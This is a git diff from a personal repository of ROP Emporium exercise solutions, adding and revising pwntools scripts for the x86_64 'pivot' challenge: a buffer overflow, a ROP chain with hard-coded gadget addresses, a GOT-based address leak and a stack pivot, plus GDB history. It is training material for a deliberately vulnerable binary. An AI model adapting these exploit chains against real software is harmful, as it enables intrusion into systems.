modified: x86_64/pivot/exploit.py

	new file:   x86_64/pivot/exploit2.py
	deleted:    x86_64/pivot/stest
	deleted:    x86_64/pivot/test
	new file:   x86_64/pivot/todo
	new file:   x86_64/ret2csu/exploit.py
	new file:   x86_64/ret2csu/gadgets

6 files changed, 78 insertions, 23 deletions

diff --git a/x86_64/pivot/.gdb_history b/x86_64/pivot/.gdb_history
index 9802b5f..8c26b83 100644
--- a/x86_64/pivot/.gdb_history
+++ b/x86_64/pivot/.gdb_history
@@ -143,3 +143,40 @@ info reg rbp
 info 0x60103a
 x/x 0x60103a
 quit
+continue
+context
+continue
+x/i rax 
+continue
+info reg rax
+stepi
+info reg rax
+quit
+continue
+info reg rax
+stepi
+info reg rax
+x/x $rax
+stepi
+info reg $rbp
+stepi
+x/x rax
+x/x $rax
+x/x 0x601040
+x/x 0x601040 + 279
+x/x 0x601040 - 279
+x/x 0x5173896a
+quit
+continue
+continue
+continue
+stepi
+x/x rax
+x/a $rax
+x/a got.plt
+x/a @got.plt
+x/x 0x7f795e45f96a + 279
+x/x 0x7f795e45f96a + 280
+stepi
+info reg rax
+quit
diff --git a/x86_64/pivot/exploit.py b/x86_64/pivot/exploit.py
index a46b0cd..2420428 100755
--- a/x86_64/pivot/exploit.py
+++ b/x86_64/pivot/exploit.py
@@ -3,21 +3,14 @@ from pwn import *
 from os import getcwd
 import re
 
-#context.terminal = ['kitty', 'sh', '-c']
-print(context.terminal)
-
-prog = gdb.debug('./pivot', gdbscript='''
-        b pwnme
-        b *0x4009a5
-'''
-
-)
+prog = process('./pivot')
 
 payload = b''
 payload += p64(0x0000000000400720)      # foothold@plt
 
 payload += p64(0x4009bb)                # pop rax
-payload += p64(601040)                  # foothold@plt's .got.plt entry
+payload += p64(0x601040)                # foothold@plt's .got.plt entry
+payload += p64(0x4009c0)                # mov rax, [rax]
 
 payload += p64(0x00000000004007c8)      # pop rbp
 payload += p64(279)                     # should be the offset of pwnem from foothold's .got.plt 
@@ -27,7 +20,6 @@ payload += p64(0x4009c4)                # adds the two
 payload += p64(0x00000000004007c1)      # jmp rax
 prog.sendline(payload)
 pivit_location = int(re.findall('0x[0-9a-z]{12}', prog.readregexS('0x[0-9a-z]{12}'))[0], 16)
-print(hex(pivit_location))
 
 payload = b''
 #buffer overflow
diff --git a/x86_64/pivot/exploit2.py b/x86_64/pivot/exploit2.py
new file mode 100755
index 0000000..bf714aa
--- /dev/null
+++ b/x86_64/pivot/exploit2.py
@@ -0,0 +1,37 @@
+#!/usr/bin/env python3
+from pwn import *
+from os import getcwd
+import re
+
+# 0000000000058b10 T printf
+# 000000000004a830 W system 
+
+prog = process('./pivot')
+
+payload = b''
+
+payload += p64(0x4009bb)                # pop rax
+payload += p64(0x601028)                # printf's .got.plt entry
+payload += p64(0x4009c0)                # mov rax, [rax]
+
+payload += p64(0x00000000004007c8)      # pop rbp
+payload += p64(279)                     # should be the offset of pwnem from foothold's .got.plt 
+
+payload += p64(0x4009c4)                # adds the two
+
+payload += p64(0x00000000004007c1)      # jmp rax
+prog.sendline(payload)
+pivit_location = int(re.findall('0x[0-9a-z]{12}', prog.readregexS('0x[0-9a-z]{12}'))[0], 16)
+
+payload = b''
+#buffer overflow
+for c in range(40):
+    payload += b'a'
+
+payload += p64(0x4009bb)                # pop rax
+payload += p64(pivit_location)          # pivot location
+payload += p64(0x4009bd)                # xchg rsp,rax
+
+prog.sendlineafter('Now please send your stack smash', payload)
+prog.interactive()
+
diff --git a/x86_64/pivot/stest b/x86_64/pivot/stest
deleted file mode 100644
index c7a6ee1..0000000
--- a/x86_64/pivot/stest
+++ /dev/null
diff --git a/x86_64/pivot/test b/x86_64/pivot/test
deleted file mode 100644
index 181b82a..0000000
--- a/x86_64/pivot/test
+++ /dev/null
@@ -1,12 +0,0 @@
-pivot by ROP Emporium
-x86_64
-
-Call ret2win() from libpivot
-The Old Gods kindly bestow upon you a place to pivot: 0x7f93a9160f10
-Send a ROP chain now and it will land there
-> Thank you!
-
-Now please send your stack smash
-> Thank you!
-
-Exiting
diff --git a/x86_64/pivot/todo b/x86_64/pivot/todo
new file mode 100644
index 0000000..cf2ec67
--- /dev/null
+++ b/x86_64/pivot/todo
@@ -0,0 +1 @@
+do the thing with glibc